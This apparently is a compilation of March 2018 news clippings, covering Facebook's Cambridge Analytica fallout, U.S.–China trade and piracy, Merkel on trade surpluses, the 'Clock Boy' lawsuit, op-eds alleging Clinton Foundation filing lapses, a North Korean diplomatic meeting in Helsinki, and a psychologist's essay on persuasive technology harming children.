On Saturday morning, Facebook dove into the semantics of its disclosure, arguing against wording in the New York Times story the company was attempting to get out in front of that referred to the incident as a breach. Most of this happened on the Twitter account of Facebook chief security officer Alex Stamos before Stamos took down his tweets and the gist of the conversation made its way into an update to Facebook's official post.
''People knowingly provided their information, no systems were infiltrated, and no passwords or sensitive pieces of information were stolen or hacked,'' the added language argued.
While the language is up for debate, lawmakers don't appear to be looking kindly on Facebook's arguably legitimate effort to sidestep data breach notification laws that, were this a proper hack, could have required the company to disclose that it lost track of the data of 50 million users, only 270,000 of which consented to data sharing to the third party app involved. (In April of 2015, Facebook changed its policy, shutting down the API that shared friends data with third-party Facebook apps that they did not consent to sharing in the first place.)
While most lawmakers and politicians haven't crafted formal statements yet (expect a landslide of those on Monday), a few are weighing in. Minnesota Senator Amy Klobuchar calling for Facebook's chief executive '-- and not just its counsel '-- to appear before the Senate Judiciary committee.
Senator Mark Warner, a prominent figure in tech's role in enabling Russian interference in the 2016 U.S. election, used the incident to call attention to a piece of bipartisan legislation called the Honest Ads Act, designed to ''prevent foreign interference in future elections and improve the transparency of online political advertisements.''
''This is more evidence that the online political advertising market is essentially the Wild West,'' Warner said in a statement. ''Whether it's allowing Russians to purchase political ads, or extensive micro-targeting based on ill-gotten user data, it's clear that, left unregulated, this market will continue to be prone to deception and lacking in transparency.''
That call for transparency was echoed Saturday by Massachusetts Attorney General Maura Healey who announced that her office would be launching an investigation into the situation. ''Massachusetts residents deserve answers immediately from Facebook and Cambridge Analytica,'' Healey tweeted. TechCrunch has reached out to Healey's office for additional information.
On Cambridge Analytica's side, it looks possible that the company may have violated Federal Election Commission laws forbidding foreign participation in domestic U.S. elections. The FEC enforces a ''broad prohibition on foreign national activity in connection with elections in the United States.''
''Now is a time of reckoning for all tech and internet companies to truly consider their impact on democracies worldwide,'' said Nuala O'Connor, President of the Center for Democracy & Technology. ''Internet users in the U.S. are left incredibly vulnerable to this sort of abuse because of the lack of comprehensive data protection and privacy laws, which leaves this data unprotected.''
Just what lawmakers intend to do about big tech's latest privacy debacle will be more clear come Monday, but the chorus calling for regulation is likely to grow louder from here on out.
Tariffs!
Trump to combat movie piracy by China, saving the U.S. economy $600B annually | Fox Business
Fri, 16 Mar 2018 19:11
Trump targets China over intellectual property theftHBO's hit series ''Game of Thrones'' is the most pirated TV show on the internet. Horizon Investments chief global strategist Greg Valliere discusses whether President Trump's tough stance on China will protect U.S. intellectual properties.
President Donald Trump is crafting a way to combat intellectual property theft by China and protect U.S. shows such as HBO's ''Game of Thrones'' from being pirated online.
The HBO hit series has taken the crown as the most pirated TV show on the internet for the sixth year in a row. According to the Motion Picture Association of America, 90% of the viewership of U.S. movies in China is illegal.
''Everybody is in agreement, both parties, the EU, that something has to be done about this piracy from China,'' Horizon Investments Chief Global Strategist Greg Valliere told FOX Business' Liz Claman.
The National Bureau of Asian Research puts the cost of Chinese intellectual property theft to the U.S. economy as high as $600 billion annually.
More from FOX BusinessOne entertainment industry insider says Chinese theft of U.S. entertainment properties must be stopped.
''This is a big ongoing problem and issue for Hollywood. We do the money, we do creativity and they rip us off and Trump should go after them on this one,'' Fox News' ''In the Foxlight'' host Michael Tammero said.
''We are going to move forward with some recommendations for the president. And I tell you what, there's nobody who is going to oppose that in this country,'' he told FOX Business' Lou Dobbs.
Valliere said he expects the Trump administration to ''hit them hard'' with anti-China tariffs on imports that include Chinese investments and visas for students who want to study in the U.S.
''I don't think Trump can be dissuaded. I don't think Congress can stop him and the interesting angle is that a lot of Democrats would go along with this as well.''
Merkel defends German trade surplus, says trying to boost domestic demand
Sat, 17 Mar 2018 15:16
BERLIN (Reuters) - Germany is trying to stimulate domestic demand to offset strong exports, but wants a keen appetite for German products to continue, Chancellor Angela Merkel said in a video podcast on Saturday.
German Chancellor Angela Merkel gives a joint press conference with France's President at the Eylsee presidential Palace in Paris, France March 16, 2018. Ludovic Marin/Pool via REUTERS Merkel said Germany's trade surpluses, attacked by U.S. President Donald Trump, were narrowing due to rising domestic demand, and the government would continue to try to support that trend.
But she noted certain factors that affect trade balances, such as oil prices and currency fluctuations, were outside Germany's control.
''And of course, the trade surpluses show that our products are in demand. And we naturally want that to remain so in the future,'' she said.
German Economy Minister Peter Altmaier will visit Washington on Sunday to press for a waiver from U.S. steel and aluminum tariffs as part of a broad push by the European Union to reverse the U.S. trade sanctions.
Merkel said on Friday the planned U.S. tariffs violated the principles of the World Trade Organization and the dispute should be resolved via talks if possible.
Reporting by Andrea Shalal; Editing by Mark Potter
Clock Boy
Judge Slams Door on Further Litigation By 'Clock Boy' Family | NBC 5 Dallas-Fort Worth
Fri, 16 Mar 2018 19:05
WATCH LIVE
Steve A panel show: Keri Hilson, Carrie Ann Inaba, Kimberly Caldwell-Harvey and Diann Valentine.
Published at 7:32 PM CDT on Mar 14, 2018 | Updated at 9:55 PM CDT on Mar 14, 2018NEWSLETTERSReceive the latest local updates in your inboxFile photo of Ahmed Mohamed in 2015
A judge has dismissed with prejudice a lawsuit filed by the father of a Muslim boy arrested after taking a homemade clock to his Irving school in 2015.
The decision Tuesday by U.S. District Judge Sam Lindsay of Dallas means that Mohamed Elhassan Mohamed's lawsuit cannot be refiled again based on the same claims. The judge also ordered the family to cover all of the costs of the lawsuit.
The family of Ahmed Mohamed had complained that the Irving Independent School District discriminated against the boy, then 14, because of his race and religion.
Ahmed was charged with having a hoax bomb. Police later dropped the charge, but he was suspended. His family didn't send him back to the school.
His case drew international attention, and then-President Barack Obama invited him to the White House.
Get the latest from NBC DFW anywhere, anytimeDownload the AppAvailable for IOS and AndroidFollow NBC DFWCopyright Associated Press / NBC 5 Dallas-Fort Worth
CHAI
Red Flags Show Clinton Foundation Abusing California's Charity Disclosure Regs
Sat, 17 Mar 2018 23:24
During 2016, the Clinton Health Access Initiative (CHAI) was the largest and most visible piece of the Clinton charity empire, lauded by many and criticized by some for its work around the world in ''fighting HIV/AIDS internationally.''
But look past the stream of public relations claims and unquestioning media coverage, and what comes into view are so many red flags it's difficult to decide where to start. So let's just start here: In California, CHAI filed a RRF-1 Report for 2016 on Feb. 28, 2018, 105 days late.
A summary suggests that CHAI reported $143 million in revenue to California for 2016; however, this report and key disclosures concerning government grants are not yet posted on the website maintained by the California attorney general's Registry of Charitable Trusts, as was required by Nov. 15, 2017.
According to Part VI, Section C, line 17 of CHAI's 2016 annual report to the IRS on Form 990 (available in the Key Documents portion of the CHAI website), reports concerning 2016 may have been filed in 10 states, including California (see page 6).
In Part VIII, on line 1h, CHAI declared $142.7 million in total revenue, and, on line 1e, $66 million in government grants to the IRS, yet CHAI still has not filed mandatory disclosures in California concerning the particulars of government grants it received during 2016.
Government grants normally entail significant due diligence by each donor, including requirements placed on recipient charities to file detailed after-action reports and even more rigorous audits explaining how a given government's contribution was actually spent. In many cases, these reports are available to the public at large.
Why would the governments that contributed 46 percent of CHAI's 2016 revenues fail to care that CHAI had not bothered to meet filing requirements in the key state of California? And were CHAI's sloppy filing practices in 2016 an aberration, or part of a continuing pattern and practice of disregard for state and federal charitable laws and regulations?
CHAI's Registration Renewal Fee (RRF) Report for 2015 was filed 70 days late on Jan, 24, 2017. Note CHAI told the federal authorities that during 2015 it received a total of $91 million in government grants, according to its IRS Form 990 (see page 9, Part VIII, line 1e).
Since the total of all grants and contributions came to $171 million (line 1h), that means government grants were a majority (53 percent) and therefore an important component of 2015 CHAI revenues. But which governments contributed most to CHAI in 2015? (Governments were $91,190,815, and the total [Part VIII, line 1h] was $170,688,566, so the percentage was 53.4 percent.)
According to that late 2015 report to California, the U.S. Centers for Disease Control and Prevention was the only American government entity that donated to CHAI. In contrast, 10 foreign governments may have supported CHAI during 2015: Australia, Cameroon, Canada, Ireland, New Caledonia, New Zealand, Norway, South Africa, Sweden, and the United Kingdom.
(To see these foreign grants, go here. Then punch in 271414646 to the FEIN field and hit the link for the foundation. When the results emerge, you will see a link for the 2015 RRF-1. Pages two and three of this link confirm the above details on government grants.)
In addition, on March 13, 2017, California sent a delinquency notice to CHAI, in which CHAI was reminded to supply information for 2015 concerning ''all government funding, foreign and domestic '... with the name of agency, mailing address, contact person, and telephone number.''
This notice, sent under the letterhead of Xavier Becerra, warned one year ago: ''Unless the [requested information is] filed '... within thirty (30) days '... the California Franchise Tax Board will be notified to disallow [CHAI's] tax exemption '... The Franchise Tax Board may revoke the organization's tax exempt status at which point the organization will be treated as a taxable corporation '...''
Related: Big Storms Brewing in California and Other Places for Clinton Foundation
As of this writing, compliance forms concerning the Clinton Foundation in 2016, and its CHAI in 2015 and 2016, do not appear on the California website, yet both organizations actively solicit contributions in California, in most U.S. states, and in numerous foreign nations.
A state that will not enforce its own laws will attract hardened criminals, including those who operate charities as slush funds for personal enrichment and political advantage.
Does anyone in California care?
Charles Ortel, a retired investment banker, concentrates on exposing complex frauds in his new career as an investigator, writer and commentator. Since August 2017, he has been hosting the Sunday with Charles podcast and covering the Clinton Foundation case in depth, using publicly available source materials.'‹ To read Ortel's earlier op-eds for LifeZette on the Clinton Foundation, click here.
californiacharles-ortelclinton-foundationclinton-health-access-initiativeformer-president-bill-clintonformer-secretary-of-state-hillary-clintonirsop-ed
Big Storms Brewing in California, Other Places for Clinton Foundation
Sat, 17 Mar 2018 23:23
Government officials and other donors have routed big money to pliable politicians through ''charities'' whose controls are purposefully gamed for too long.
The worst offenses typically occur in high-tax states, including California, where claiming ''fake'' contributions offers donors the biggest after-tax value, assuming the IRS and state taxing authorities look the other way, which they do all too frequently.
With President Donald Trump well along in replacing Obama-era holdovers in the Department of Justice and the IRS, rising California Democrats like Sen. Kamala Harris and Attorney General Xavier Becerra (shown above) must abandon any public pretense of supporting the Clinton family record of fake philanthropy inside and outside the United States.
The potential costs of not doing so are growing, as maturing investigations into Clinton Foundation charity frauds by the IRS, FBI and multiple foreign governments gather momentum. So helping to cover up crimes that began in 1997 and escalated to the present is certainly not a viable option in any U.S. state, even those long controlled by Democrats.
Will Becerra finally enforce California's strict laws? And will Harris encourage her colleagues in the U.S. Senate to bring America's outdated system of regulating complex charities into the 21st century?
Or will both of these Democrats continue to remain in thrall to the Clintons and either help cover up or simply look the other way on blatantly illegal fundraising by their false-front and fake charities?
California should stop protecting Illegal Clinton charities. The Bill, Hillary & Chelsea Clinton Foundation filed Its 2016 Annual Report to California on Form RRF-1 seven days past the final deadline on Nov. 22, 2017. This key document was subsequently rejected.
That means the best-known Clinton charity has not been operating in full compliance with California laws for months, an adverse fact that should have been disclosed in other U.S. states where Clinton charities solicit donations, especially including New York.
Another glaring problem with the rejected California filing is that the total revenues of $77 million declared for the whole of the Clinton Foundation are much less than the $217 million in combined grants and contributions claimed on its 2016 external audit, which is available on page 5.
The calculation is: Total contributions of $135,445,489 plus total grants of $81,153,172 equal combined revenues of $216,598,561, which rounds up to $217 million. This large discrepancy is only part of the problems facing the Clinton Foundation in California.
On Feb. 22, 2018, Becerra demanded receipt of information concerning ''all government funding, including grants from foreign governments'' received by the foundation during 2016. The deadline for receipt is March 24, 2018.
(To see this, go here, then, punch in 311580204 to the FEIN field and hit the link for the Foundation. When the results emerge, you will see a link, ''CT=550 Form RRF-1 Incomplete,'' towards the bottom. Above that, in the digest of RRF-1 reports, you will see the Nov. 22, 2017, filing date and the evident ''rejection.'')
California charity laws are tougher than those in many other U.S. states. In California, for example, charities must disclose particulars concerning all government grants, including those by foreign government entities.
These particulars, including amounts, are available to state regulators because California also requires that charities disclose (confidentially) the names of all donors giving 2 percent or more of total revenues in a given year, as listed on Schedule B of their federal tax filings.
The Clinton Foundation's 2016 federal filing poses additional problems. Total revenues declared in Part VIII, line 1h, were just $63 million, or $14 million less than the amount declared '...
The Clinton Foundation's 2016 federal filing poses additional problems. Total revenues declared in Part VIII, line 1h, were just $63 million, or $14 million less than the amount declared on the California RRF-1 filing '-- and a whopping $154 million less than the figure independently confirmed by auditor CohnReznick.
Why so many large discrepancies?
The largest recipient of grants and contributions seems to be a separate entity called Clinton Health Access Initiative Inc. (CHAI), whose results, in theory, were consolidated into audited Clinton Foundation financial statements but excluded from California filings.
The piece of the Clinton Foundation that governments appear to support most actively is CHAI, at least according to CHAI marketing materials. Canada, Norway, Sweden, Australia, the United Kingdom, and a government consortium (including the Gates Foundation) called UNITAID may have contributed more than $25 million each through Sep. 30, 2017.
Are CHAI's filings in California complete and true? Do roosters lay eggs?
To be continued.
Charles Ortel, a retired investment banker, concentrates on exposing complex frauds in his new career as an investigator, writer and commentator. Since August 2017, he has been hosting the Sunday with Charles podcast and covering the Clinton Foundation case in depth, using publicly available source materials.'‹
(photo credit, homepage image: Congressman Xavier Becerra'..., CC BY 2.0, by US Department of Labor; photo credit, article image: Salsa with Democrats, CC BY 2.0, by Cliff)
california-attorney-general-xavier-becerracharity-fraudcharles-ortelclinton-foundationdepartment-of-justiceformer-president-bill-clintonformer-secretary-of-state-hillary-clintonirsop-edsen-kamala-harrisunitaid
DPRK
Foreign Ministry confirms: North Korean delegation to meet in Helsinki | Yle Uutiset | yle.fi
Sun, 18 Mar 2018 10:50
Senior diplomat Choe Kang-il en route to Helsinki at Beijing airport on 18 March. Image: Reuters-TV Finland's Ministry of Foreign Affairs confirms that a covert meeting between North Korean and South Korean diplomats is to take place somewhere in Helsinki in the near future.
The Ministry has not divulged the agenda or participants of the meeting, but says that the talks are not of a top-level political nature and that Finland is working only as an "academic" and "routine" facilitator for the meet. News outlet NKNews.org claims a main issue under discussion will be the conditions for denuclearisation.
The Finnish News Agency STT earlier on Sunday reported that the rendezvous would be taking place at the Japanese Embassy. The embassy soon denied having anything to do with any such meeting.
News agency AFP reports that a deputy director general for North American affairs at North Korea's foreign ministry, Choe Kang-il, was seen boarding a plane for Finland at the Beijing airport.
AFP's information is based on multiple local media sources. The agency says that Choe will meet with American ex-ambassador to South Korea, Kathleen Stephens.
The secretive meeting is to occur on the heels of a recently ended three-day round of security talks between the North Korean and Swedish Foreign Ministers in Stockholm. The newly developed situation adds to the diplomatic commotion surrounding a possible upcoming meeting between US President Donald Trump and North Korean leader Kim Jong-un.
The plane that Choe Kang-il is believed to have boarded will touch down at Helsinki-Vantaa airport at 2 pm local time.
Edit: Changed title to reflect that the time and date of the meeting are still unknown. Added mention of NKNews.org item.
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SouthBy Bomber
Experts: Police seek hidden meaning in recent Austin bombings
Sat, 17 Mar 2018 23:42
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NA-Tech News
The Tech Industry's Psychological War on Kids '' Member Feature Stories '' Medium
Fri, 16 Mar 2018 16:16
'' W e called the police because she wrecked her room and hit her mom'... all because we took her phone,'' Kelly's father explained. He said that when the police arrived that evening, Kelly was distraught and told an officer that she wanted to kill herself. So an ambulance was called, and the 15-year-old was strapped to a gurney, taken to a psychiatric hospital, and monitored for safety before being released. Days after being hospitalized, Kelly was brought to my office by her parents who wanted to get help for their troubled girl.
Kelly's parents spoke first. They said that their daughter's hospitalization was the culmination of a yearlong downward spiral spurred by her phone obsession. Kelly had been refusing to spend time with her family or focus on school. Instead, she favored living her life on social media. A previously happy girl and strong student, Kelly had grown angry, sullen, and was now bringing home report cards with sinking grades. Kelly's parents had tried many times in prior months to set limits on their daughter's phone use, but she had become increasingly defiant and deceitful, even sneaking on her phone at all hours of the night.
When Kelly's latest report card revealed a number of failing grades, her parents felt compelled to act. They told Kelly early in the afternoon on the day the police were called that she would need to turn in her phone by 9 p.m. But when the time came, Kelly refused, and a pushing match ensued between her and her parents, concluding in the violent tantrum that led the girl to be hospitalized.
I asked Kelly, who was sitting in a corner, to help me understand her perspective on that evening. She didn't respond and instead glared at her parents. But then, surprising everyone in the room, she cried, ''They took my f***ing phone!'' Attempting to engage Kelly in conversation, I asked her what she liked about her phone and social media. ''They make me happy,'' she replied.
The Undoing of FamiliesAs Kelly and her family continued their appointments with me in the coming months, two concerns dominated our meetings. The first was that Kelly's unhealthy attachment to her phone continued, causing almost constant tension at home. The second concern emerged during my meetings with Kelly's parents alone. Even though they were loving and involved parents, Kelly's mom couldn't help feeling that they'd failed their daughter and must have done something terribly wrong that led to her problems.
My practice as a child and adolescent psychologist is filled with families like Kelly's. These parents say their kids' extreme overuse of phones, video games, and social media is the most difficult parenting issue they face'Š'--'Šand, in many cases, is tearing the family apart. Preteen and teen girls refuse to get off their phones, even though it's remarkably clear that the devices are making them miserable. I also see far too many boys whose gaming obsessions lead them to forgo interest in school, extracurricular activities, and anything else productive. Some of these boys, as they reach their later teens, use their large bodies to terrorize parents who attempt to set gaming limits. A common thread running through many of these cases is parent guilt, as so many are certain they did something to put their kids on a destructive path.
What none of these parents understand is that their children's and teens' destructive obsession with technology is the predictable consequence of a virtually unrecognized merger between the tech industry and psychology. This alliance pairs the consumer tech industry's immense wealth with the most sophisticated psychological research, making it possible to develop social media, video games, and phones with drug-like power to seduce young users.
These parents have no idea that lurking behind their kids' screens and phones are a multitude of psychologists, neuroscientists, and social science experts who use their knowledge of psychological vulnerabilities to devise products that capture kids' attention for the sake of industry profit. What these parents and most of the world have yet to grasp is that psychology'Š'--'Ša discipline that we associate with healing'Š'--'Šis now being used as a weapon against children.
''Machines Designed to Change Humans''Nestled in an unremarkable building on the Stanford University campus in Palo Alto, California, is the Stanford Persuasive Technology Lab, founded in 1998. The lab's creator, Dr. B.J. Fogg, is a psychologist and the father of persuasive technology, a discipline in which digital machines and apps'Š'--'Šincluding smartphones, social media, and video games'Š'--'Šare configured to alter human thoughts and behaviors. As the lab's website boldly proclaims: ''Machines designed to change humans.''
Fogg speaks openly of the ability to use smartphones and other digital devices to change our ideas and actions: ''We can now create machines that can change what people think and what people do, and the machines can do that autonomously.'' Called ''the millionaire maker,'' Fogg has groomed former students who have used his methods to develop technologies that now consume kids' lives. As he recently touted on his personal website, ''My students often do groundbreaking projects, and they continue having impact in the real world after they leave Stanford'... For example, Instagram has influenced the behavior of over 800 million people. The co-founder was a student of mine.''
Intriguingly, there are signs that Fogg is feeling the heat from recent scrutiny of the use of digital devices to alter behavior. His boast about Instagram, which was present on his website as late as January of 2018, has been removed. Fogg's website also has lately undergone a substantial makeover, as he now seems to go out of his way to suggest his work has benevolent aims, commenting, ''I teach good people how behavior works so they can create products & services that benefit everyday people around the world.'' Likewise, the Stanford Persuasive Technology Lab website optimistically claims, ''Persuasive technologies can bring about positive changes in many domains, including health, business, safety, and education. We also believe that new advances in technology can help promote world peace in 30 years.''
While Fogg emphasizes persuasive design's sunny future, he is quite indifferent to the disturbing reality now: that hidden influence techniques are being used by the tech industry to hook and exploit users for profit. His enthusiastic vision also conveniently neglects to include how this generation of children and teens, with their highly malleable minds, is being manipulated and hurt by forces unseen.
Weaponizing PersuasionIf you haven't heard of persuasive technology, that's no accident'Š'--'Štech corporations would prefer it to remain in the shadows, as most of us don't want to be controlled and have a special aversion to kids being manipulated for profit. Persuasive technology (also called persuasive design) works by deliberately creating digital environments that users feel fulfill their basic human drives'Š'--'Što be social or obtain goals'Š'--'Šbetter than real-world alternatives. Kids spend countless hours in social media and video game environments in pursuit of likes, ''friends,'' game points, and levels'Š'--'Šbecause it's stimulating, they believe that this makes them happy and successful, and they find it easier than doing the difficult but developmentally important activities of childhood.
While persuasion techniques work well on adults, they are particularly effective at influencing the still-maturing child and teen brain. ''Video games, better than anything else in our culture, deliver rewards to people, especially teenage boys,'' says Fogg. ''Teenage boys are wired to seek competency. To master our world and get better at stuff. Video games, in dishing out rewards, can convey to people that their competency is growing, you can get better at something second by second.'' And it's persuasive design that's helped convince this generation of boys they are gaining ''competency'' by spending countless hours on game sites, when the sad reality is they are locked away in their rooms gaming, ignoring school, and not developing the real-world competencies that colleges and employers demand.
Likewise, social media companies use persuasive design to prey on the age-appropriate desire for preteen and teen kids, especially girls, to be socially successful. This drive is built into our DNA, since real-world relational skills have fostered human evolution. The Huffington Postarticle, ''What Really Happens On a Teen Girl's iPhone'' describes the life of 14-year-old Casey from Millburn, New Jersey. With 580 friends on Instagram and 1,110 on Facebook, she's preoccupied with the number of ''likes'' her Facebook profile picture receives compared with her peers. As she says, ''If you don't get 100 'likes,' you make other people share it so you get 100'.... Or else you just get upset. Everyone wants to get the most 'likes.' It's like a popularity contest.''
Article author Bianca Bosker says that there are costs to Casey's phone obsession, noting that the ''girl's phone, be it Facebook, Instagram or iMessage, is constantly pulling her away from her homework, sleep, or conversations with her family.'' Casey says she wishes she could put her phone down. But she can't. ''I'll wake up in the morning and go on Facebook just'... because,'' she says. ''It's not like I want to or I don't. I just go on it. I'm, like, forced to. I don't know why. I need to. Facebook takes up my whole life.''
Important Questions Are Simply Not AskedB.J. Fogg may not be a household name, but Fortune Magazine calls him a ''New Guru You Should Know,'' and his research is driving a worldwide legion of user experience (UX) designers who utilize and expand upon his models of persuasive design. As Forbes Magazine writer Anthony Wing Kosner notes, ''No one has perhaps been as influential on the current generation of user experience (UX) designers as Stanford researcher B.J. Fogg.''
UX designers come from many disciplines, including psychology as well as brain and computer sciences. However, the core of UX research is about using psychology to take advantage of our human vulnerabilities. That's particularly pernicious when the targets are children. As Fogg is quoted in Kosner's Forbes article, ''Facebook, Twitter, Google, you name it, these companies have been using computers to influence our behavior.'' However, the driving force behind behavior change isn't computers. ''The missing link isn't the technology, it's psychology,'' says Fogg.
UX researchers not only follow Fogg's design model, but also his apparent tendency to overlook the broader implications of persuasive design. They focus on the task at hand, building digital machines and apps that better demand users' attention, compel users to return again and again, and grow businesses' bottom line. Less considered is how the world's children are affected by thousands of UX designers working simultaneously to pull them onto a multitude of digital devices and products at the expense of real life.
According to B.J. Fogg, the ''Fogg Behavior Model'' is a well-tested method to change behavior and, in its simplified form, involves three primary factors: motivation, ability, and triggers. Describing how his formula is effective at getting people to use a social network, the psychologist says in an academic paper that a key motivator is users' desire for ''social acceptance,'' although he says an even more powerful motivator is the desire ''to avoid being socially rejected.'' Regarding ability, Fogg suggests that digital products should be made so that users don't have to ''think hard.'' Hence, social networks are designed for ease of use. Finally, Fogg says that potential users need to be triggered to use a site. This is accomplished by a myriad of digital tricks, including the sending of incessant notifications urging users to view friends' pictures, telling them they are missing out while not on the social network, or suggesting that they check'Š'--'Šyet again'Š'--'Što see if anyone liked their post or photo.
Fogg's formula is the blueprint for building multibillion dollar social media and gaming companies. However, moral questions about the impact of turning persuasive techniques on children and teens are not being asked. For example, should the fear of social rejection be used to compel kids to compulsively use social media? Is it okay to lure kids away from school tasks that demand a strong mental effort so they can spend their lives on social networks or playing video games that don't make them think much at all? And is it okay to incessantly trigger kids to use revenue-producing digital products at the expense of engaging with family and other important real-life activities?
Brain HackingPersuasive technologies work because of their apparent triggering of the release of dopamine, a powerful neurotransmitter involved in reward, attention, and addiction. In the Venice region of Los Angeles, now dubbed ''Silicon Beach,'' the startup Dopamine Labs boasts about its use of persuasive techniques to increase profits: ''Connect your app to our Persuasive AI [Artificial Intelligence] and lift your engagement and revenue up to 30% by giving your users our perfect bursts of dopamine,'' and ''A burst of Dopamine doesn't just feel good: it's proven to re-wire user behavior and habits.''
Ramsay Brown, the founder of Dopamine Labs, says in a KQED Science article, ''We have now developed a rigorous technology of the human mind, and that is both exciting and terrifying. We have the ability to twiddle some knobs in a machine learning dashboard we build, and around the world hundreds of thousands of people are going to quietly change their behavior in ways that, unbeknownst to them, feel second-nature but are really by design.'' Programmers call this ''brain hacking,'' as it compels users to spend more time on sites even though they mistakenly believe it's strictly due to their own conscious choices.
Social networks and video games use the trusted brain-manipulation technique of variable reward (think slot machine). Users never know when they will get the next ''like'' or game reward, and it's delivered at the perfect time to foster maximal stimulation and keep them on the site. Banks of computers employ AI to ''learn'' which of a countless number of persuasive design elements will keep users hooked. A persuasion profile of a particular user's unique vulnerabilities is developed in real time and exploited to keep users on the site and make them return again and again for longer periods of time. This drives up profits for consumer internet companies whose revenue is based on how much their products are used.
Clandestine techniques that manipulate users to fulfill a profit motive are regarded by programmers as ''dark design.'' Why would firms resort to such tactics? As former tech executive Bill Davidow says in his Atlanticarticle ''Exploiting the Neuroscience of Internet Addiction,'' ''The leaders of Internet companies face an interesting, if also morally questionable, imperative: either they hijack neuroscience to gain market share and make large profits, or they let competitors do that and run away with the market.''
There are few industries as cutthroat and unregulated as Silicon Valley. Social media and video game companies believe they are compelled to use persuasive technology in the arms race for attention, profits, and survival. Children's well-being is not part of the decision calculus.
A Peek Behind the CurtainWhile social media and video game companies have been surprisingly successful at hiding their use of persuasive design from the public, one breakthrough occurred in 2017 when Facebook documents were leaked to The Australian. The internal report crafted by Facebook executives showed the social network boasting to advertisers that by monitoring posts, interactions, and photos in real time, the network is able to track when teens feel ''insecure,'' ''worthless,'' ''stressed,'' ''useless'' and a ''failure.'' Why would the social network do this? The report also bragged about Facebook's ability to micro-target ads down to ''moments when young people need a confidence boost.''
Persuasive technology's use of digital media to target children, deploying the weapon of psychological manipulation at just the right moment, is what makes it so powerful. These design techniques provide tech corporations a window into kids' hearts and minds to measure their particular vulnerabilities, which can then be used to control their behavior as consumers. This isn't some strange future'... this is now. Facebook claimed the leaked report was misrepresented in the press. But when child advocates called on the social network to release it, the company refused to do so, preferring to keep the techniques it uses to influence kids shrouded in secrecy.
Digital Pied PipersThe official tech industry line is that persuasive technologies are used to make products more engaging and enjoyable. But the revelations of industry insiders can reveal darker motives. Video game developer John Hopson, who has a Ph.D. in behavioral and brain science, wrote the paper ''Behavioral Game Design.'' He describes the use of design features to alter video game player behavior, sounding much like an experimenter running lab animals through their paces, answering questions such as: ''How do we make players maintain a high, consistent rate of activity?'' and ''How to make players play forever.''
Revealing the hard science behind persuasive technology, Hopson says, ''This is not to say that players are the same as rats, but that there are general rules of learning which apply equally to both.'' After penning the paper, Hopson was hired by Microsoft, where he helped lead the development of the Xbox Live, Microsoft's online gaming system. He also assisted in the development of Xbox games popular with kids, including those in the Halo series. The parents I work with simply have no idea about the immense amount of financial and psychological firepower aimed at their children to keep them playing video games ''forever.''
Another persuasive technology expert is Bill Fulton, a game designer who trained in cognitive and quantitative psychology. He started Microsoft's Games User-Research group before founding his own consulting agency. Fulton is transparent about the power of persuasive design and the intent of the gaming industry, disclosing in Big Four Accounting Firm PwC's tech business journal: ''If game designers are going to pull a person away from every other voluntary social activity or hobby or pastime, they're going to have to engage that person at a very deep level in every possible way they can.''
This is the dominant effect of persuasive design today: building video games and social media products so compelling that they pull users away from the real world to spend their lives in for-profit domains. But to engage in a pursuit at the expense of important real-world activities is a core element of addiction. And there is increasing evidence that persuasive design has now become so potent that it is capable of contributing to video game and internet addictions'Š'--'Šdiagnoses that are officially recognized in China, South Korea, and Japan, and which are under consideration in the U.S.
Not only does persuasive design appear to drive kids' addictions to devices, but knowledge of addiction is used to make persuasive design more effective at hijacking the mind. As Dopamine Labs' Ramsay Brown acknowledges in an episode of CBS's 60 Minutes, ''Since we've figured to some extent how these pieces of the brain that handle addiction are working, people have figured out how to juice them further and how to bake that information into apps.''
Stealing from ChildhoodThe creation of digital products with drug-like effects that are able to ''pull a person away'' from engaging in real-life activities is the reason why persuasive technology is profoundly destructive. Today, persuasive design is likely distracting adults from driving safely, productive work, and engaging with their own children'Š'--'Šall matters which need urgent attention. Still, because the child and adolescent brain is more easily controlled than the adult mind, the use of persuasive design is having a much more hurtful impact on kids.
Persuasive technologies are reshaping childhood, luring kids away from family and schoolwork to spend more and more of their lives sitting before screens and phones. According to a Kaiser Family Foundation report, younger U.S. children now spend 5 ½ hours each day with entertainment technologies, including video games, social media, and online videos. Even more, the average teen now spends an incredible 8 hours each day playing with screens and phones. Productive uses of technology'Š'--'Šwhere persuasive design is much less a factor'Š'--'Šare almost an afterthought, as U.S. kids only spend 16 minutes each day using the computer at home for school.
Quietly, using screens and phones for entertainment has become the dominant activity of childhood. Younger kids spend more time engaging with entertainment screens than they do in school, and teens spend even more time playing with screens and phones than they do sleeping. The result is apparent in restaurants, the car sitting next to you at the stoplight, and even many classrooms: Attesting to the success of persuasive technology, kids are so taken with their phones and other devices that they have turned their backs to the world around them. Hiding in bedrooms on devices, or consumed by their phones in the presence of family, many children are missing out on real-life engagement with family and school'Š'--'Šthe two cornerstones of childhood that lead them to grow up happy and successful. Even during the few moments kids have away from their devices, they are often preoccupied with one thought: getting back on them.
In addition to the displacement of healthy childhood activities, persuasive technologies are pulling kids into often toxic digital environments. A too frequent experience for many is being cyberbullied, which increases their risk of skipping school and considering suicide. And there is growing recognition of the negative impact of FOMO, or the fear of missing out, as kids spend their social media lives watching a parade of peers who look to be having a great time without them, feeding their feelings of loneliness and being less than.
A Wired Generation Falling ApartThe combined effects of the displacement of vital childhood activities and exposure to unhealthy online environments is wrecking a generation. In her recent Atlanticarticle, ''Have Smartphones Destroyed a Generation?,'' Dr. Jean Twenge, a professor of psychology at San Diego State University, describes how long hours spent on smartphones and social media are driving teen girls in the U.S. to experience high rates of depression and suicidal behaviors.
And as the typical age when kids get their first smartphone has fallen to 10, it's no surprise to see serious psychiatric problems'Š'--'Šonce the domain of teens'Š'--'Šnow enveloping young kids. Self-inflicted injuries, such as cutting, that are serious enough to require treatment in an emergency room, have increased dramatically in 10- to 14-year-old girls, up 19% per year since 2009.
While girls are pulled onto smartphones and social media, boys are more likely to be seduced into the world of video gaming, often at the expense of a focus on school. High amounts of gaming are linked to lower grades, so with boys gaming more than girls, it's no surprise to see this generation of boys struggling to make it to college: a full 57% of college admissions are granted to young women compared with only 43% to young men. And, as boys transition to manhood, they can't shake their gaming habits. Economists working with the National Bureau of Economic Research recently demonstrated how many young U.S. men are choosing to play video games rather than join the workforce.
As a child and adolescent psychologist myself, the inevitable conclusion is both embarrassing and heartbreaking. The destructive forces of psychology deployed by the tech industry are making a greater impact on kids than the positive uses of psychology by mental health providers and child advocates. Put plainly, the science of psychology is hurting kids more than helping them.
